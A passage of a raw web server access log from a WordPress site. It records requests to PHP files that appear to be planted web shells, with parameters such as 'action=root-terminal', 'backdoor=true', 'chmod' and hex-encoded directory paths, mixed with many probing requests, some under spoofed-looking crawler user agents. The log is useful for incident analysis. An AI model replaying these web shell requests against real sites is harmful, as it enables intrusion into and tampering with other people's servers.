200 3242 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:56 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11677 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:58 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/includes/jcfxeds/wp-includes/wp-contentaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e&rename=languages HTTP/2" 200 3236 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:59 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11677 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:28:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f757067726164652f77702f&f=.htaccess HTTP/2" 200 3505 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:28:01 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/jquery/css/twentytwentyfour HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:28:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f7369746573656f HTTP/2" 200 3221 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:28:03 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11690 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:28:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c75646573&rename=includes HTTP/2" 200 3299 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:28:05 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/jquery/css/wp-adminaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:28:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f7468656d6573&rename=twentytwentyfour HTTP/2" 200 3274 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:28:07 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11690 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 51.75.128.94 - - [17/Nov/2025:12:28:09 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/jquery/css/wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:28:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73&rename=jquery HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:28:10 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11690 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 102.221.197.122 - - [17/Nov/2025:12:27:31 +0000] "GET /assets/backuply/includes/css/themes/twentytwentyfour/styles/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 186.22.225.70 - - [17/Nov/2025:12:27:33 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/includes/plugins/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.97.215 - - [17/Nov/2025:12:27:36 +0000] "GET /assets/assets-20251112184145/themes/twentytwenty/inc/includes/plugins/ HTTP/1.1" 200 709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/92.2.7601.2" 113.172.114.213 - - [17/Nov/2025:12:27:39 +0000] "GET /assets/css/fonts/js/includes/upgrade/wp/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 222.254.191.246 - - [17/Nov/2025:12:27:44 +0000] "GET /assets/backuply-20251107214702/wp/includes/themes/twentytwentyfive/assets/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.180.169.186 - - [17/Nov/2025:12:27:44 +0000] "GET /assets/backuply/jquery/js/includes/upgrade/wp/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7286.70" 14.191.183.150 - - [17/Nov/2025:12:27:45 +0000] "GET /assets/jquery/themes/twentytwenty/inc/backuply/wp/ HTTP/1.1" 200 704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70" 123.21.179.159 - - [17/Nov/2025:12:27:46 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 14.172.35.245 - - [17/Nov/2025:12:27:49 +0000] "GET /assets/css/wp/includes/includes/jcfxeds/ysouwxa/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 181.16.126.16 - - [17/Nov/2025:12:27:50 +0000] "GET /assets/blocks/js/includes/css/plugins/pagelayer/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.244.237.127 - - [17/Nov/2025:12:27:52 +0000] "GET /assets/assets-20251112184145/includes/includes/css/plugins/wps-hide-login/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.16.152.9 - - [17/Nov/2025:12:27:55 +0000] "GET /assets/assets/css/wp-includes/js/js/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 178.44.27.91 - - [17/Nov/2025:12:27:56 +0000] "GET /assets/upgrade/js/includes/css/js/wp/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 201.217.227.91 - - [17/Nov/2025:12:28:17 +0000] "GET /assets/wp/network/js/includes/css/blocks/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 181.46.9.246 - - [17/Nov/2025:12:28:18 +0000] "GET /assets/assets-20251112184145/includes/css/themes/twentytwentythree/patterns/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.126 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:28:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b&rename=includes HTTP/2" 200 3198 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f637373 HTTP/2" 200 3285 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f706c7567696e73&rename=pagelayer HTTP/2" 200 3362 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.236.42.22 - - [17/Nov/2025:12:28:16 +0000] "GET /assets/blocks/includes/css/themes/twentytwentythree/patterns/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.229.218.253 - - [17/Nov/2025:12:28:16 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/js/jquery/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 158.140.165.33 - - [17/Nov/2025:12:28:16 +0000] "GET /assets/wp-content/wp-includes/js/js/js/js/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:28:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3331 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.161.208.219 - - [17/Nov/2025:12:28:18 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/plugins/siteseo/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 123.21.186.148 - - [17/Nov/2025:12:28:19 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/wp/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 74.7.227.184 - - [17/Nov/2025:12:28:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3215 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f637373&rename=plugins HTTP/2" 200 3286 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 125.234.77.196 - - [17/Nov/2025:12:28:22 +0000] "GET /assets/wp/themes/twentytwentythree/styles/wp/uXPtIPr.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.226.25.165 - - [17/Nov/2025:12:28:23 +0000] "GET /assets/wp-content/wp-adminaa/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:28:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3065 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6261636b75706c792f7770 HTTP/2" 200 3406 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3267 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3304 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.122.61 - - [17/Nov/2025:12:28:31 +0000] "GET /assets/backuply/jquery/includes/css/themes/twentytwentyfive/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.164.181 - - [17/Nov/2025:12:28:31 +0000] "GET /assets/wp/js/js/js/includes/backuply/ HTTP/1.1" 200 621 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.116 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:28:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.167.4.68 - - [17/Nov/2025:12:28:33 +0000] "GET /assets/wp/js/includes/themes/twentytwentyfour/assets/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.169.13.49 - - [17/Nov/2025:12:28:35 +0000] "GET /assets/backuply/jquery/js/includes/css/wp/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1" 14.240.170.218 - - [17/Nov/2025:12:28:18 +0000] "GET /assets/blocks/includes/js/includes/themes/twentytwentyfour/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 14.191.212.184 - - [17/Nov/2025:12:28:18 +0000] "GET /assets/backuply-20251107214702/wp/includes/css/plugins/siteseo/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.160.121.99 - - [17/Nov/2025:12:28:21 +0000] "GET /assets/img/js/includes/upgrade/wp/PcZAGw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 14.187.2.212 - - [17/Nov/2025:12:28:22 +0000] "GET /assets/backuply-20251107214702/js/js/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.173.184.160 - - [17/Nov/2025:12:28:22 +0000] "GET /assets/upgrade/js/includes/includes/includes/css/ HTTP/1.1" 200 1022 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 14.248.101.6 - - [17/Nov/2025:12:28:24 +0000] "GET /assets/assets-20251112184145/js/assets/includes/upgrade/wp/ HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.167.248.125 - - [17/Nov/2025:12:28:24 +0000] "GET /assets/css/img/includes/js/jquery/wp/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.186.4.54 - - [17/Nov/2025:12:28:25 +0000] "GET /assets/blocks/includes/js/includes/network/wp/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 103.154.148.138 - - [17/Nov/2025:12:28:25 +0000] "GET /assets/backuply/jquery/wp-adminaa/wp-adminaa/network/wp/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.181.212.226 - - [17/Nov/2025:12:28:27 +0000] "GET /assets/wp-content/wp-adminaa/includes/jcfxeds/wp-contentaa/wp-content/ HTTP/1.1" 200 568 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 14.224.181.145 - - [17/Nov/2025:12:28:27 +0000] "GET /assets/backuply/css/wp/js/includes/wp/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.178.17.103 - - [17/Nov/2025:12:28:33 +0000] "GET /assets/upgrade/js/js/includes/css/themes/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 154.47.29.131 - - [17/Nov/2025:12:28:35 +0000] "GET /assets/img/network/js/includes/includes/includes/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/98.8.8175.80" 14.191.166.4 - - [17/Nov/2025:12:28:35 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/network/wp/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 123.23.29.92 - - [17/Nov/2025:12:28:37 +0000] "GET /assets/img/network/js/includes/themes/twentytwentyfive/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.164.32.220 - - [17/Nov/2025:12:28:35 +0000] "GET /assets/assets-20251112184145/js/assets/includes/css/jquery/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:28:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73&rename=jquery HTTP/2" 200 3212 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3243 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.224.160.192 - - [17/Nov/2025:12:28:37 +0000] "GET /assets/backuply-20251107214702/wp/includes/js/jquery/wp/ HTTP/1.1" 200 663 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.2.3" 74.7.227.184 - - [17/Nov/2025:12:28:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3290 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.173.188.105 - - [17/Nov/2025:12:28:40 +0000] "GET /assets/backuply/js/js/js/includes/includes/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 36.83.113.107 - - [17/Nov/2025:12:28:42 +0000] "GET /assets/upgrade/js/js/includes/css/plugins/ HTTP/1.1" 200 686 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:28:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3272 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:28:47 +0000] "GET 